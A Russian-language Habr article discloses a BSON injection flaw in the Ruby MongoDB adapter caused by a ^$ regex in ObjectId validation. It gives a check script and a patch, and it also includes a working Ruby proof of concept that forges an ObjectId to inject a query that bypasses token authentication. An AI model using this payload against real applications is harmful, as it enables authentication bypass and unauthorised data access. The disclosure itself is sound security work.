Pull to refresh

BSON инъекция в MongoDB адаптере для Ruby

Reading time 3 min
Views 11K
В BSON-ruby был найден баг, который в лучшем случае приводил к небольшому DoS, но большинство версий было уязвимо к инъекции в BSON (аналог SQL инъекции, BSON это бинарный аналог JSON, используемый для работы с базой).

На хабре уже как-то упоминалась особенность регулярок в руби — у нас ^$ значат не просто начало и конец строки, но и новую строку \n.

Но тогда в примерах были лишь XSS «javascript:a()\nhttp://», и я давно искал пример, когда регулярки приводят к чему-то серьезному. И вот пару дней назад, во время аудита внешних библиотек нашего клиента, наткнулся на следующий код в BSON-ruby.

def legal?(str)
  !!str.match(/^[0-9a-f]{24}$/i)
end

Этот метод ответственен за валидацию ObjectId — идентификатор документа. Например Order.find(params[:id]) где id это 24 символа из юзер инпута вида «21141c78d99f23d5f34d3201».

Проведя небольшое расследование я выяснил что регулярка была первый раз исправлена в 2012 на \A\Z, потом заново сломана самим же мейнтейнером в 2013 в результате очень подозрительной регрессии.

Другими словами, с 17 апреля 2012 по март 2013 использовались ^$, затем \A\Z до апреля 2013, и затем снова ^$.

Чтобы проверить, уязвимо ли ваше приложение, запустите:

b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId)
raise "DoS!" if b.legal? "a"*24+"\n"
raise "Injection!" if b.legal? "a"*24+"\na"

И используйте этот патч, если да:

def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s)
  /\A\h{24}\z/ === s.to_s
end

Если вы используете старую версию BSON из 2013 года, то, скорее всего, там используются \A\Z и лишь небольшой DoS возможен. Почему? Потому что \Z в руби помимо окончания строки разрешают один \n в конце. Но если мы пошлем id=aaaaaaaaaaaaaaaaaaaaaaaa%0A то монго будет ругаться [conn1] Assertion: 10307:Client Error: bad object in message: invalid bson type in object with _id: ObjectId('aaaaaaaaaaaaaaaaaaaaaaaa').

Однако драйвер Руби не понимает эту ошибку и делает вывод, что нода лежит. И пингует монго еще 39 раз в течение следующих 5 секунд, забивая воркер бесполезной работой, что может быть использовано как Denial of Service для некоторых сайтов.

Но это ничто по сравнению с тем, что творится в последних версиях BSON. Там можно послать строку вида

_id=Any binary data\naaaaaaaaaaaaaaaaaaaaaaaa\nAny binary data

Что будет распаковано из hex в binary и вставлено в тело BSON документа при запросе к монго без изменений (предполагается что ObjectId уже валидирован и для быстродействия вставляется в чистом виде). С помощью данного Proof of Concept можно делать произвольные запросы к монго путем перезаписи параметров BSON документа, обходить системы аутентификации на основе токенов или API ключей, делать DoS и, возможно, многое другое.


require 'uri'
b = BSON::Document.new
b["$query"] = {"token" => {"$gt"=>""}}

payload = b.to_bson[4..-2]
id_ish = ("\n\n" + "a"*24 + "\n\n")

fake_id = "a"*24 +
  "\x02_id\0".unpack('H*')[0] +
  [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
  payload.unpack('H*')[0]

puts URI.encode(fake_id) # looks like:
# aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000

User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a">

В итоге запрос с инъекцией поступает в сокет монго так:

\x83\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xD4\a\x00\x00\x00\x00\x00\x00 mng_development.users\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\a_id\x00 \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x02_id\x00\x0F\x00\x00\x00\xAA \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x00\x03$query\x00\e\x00\x00 \x00\x03token\x00\x0F\x00\x00\x00\x02$gt\x00\x01\x00\x00\x00\x00\x00\x00\x00

Примените патч, и помните, что в регулярках в руби всегда нужно использовать \A\z.
Tags:
Hubs:
+27
Comments 9
Comments Comments 9

Articles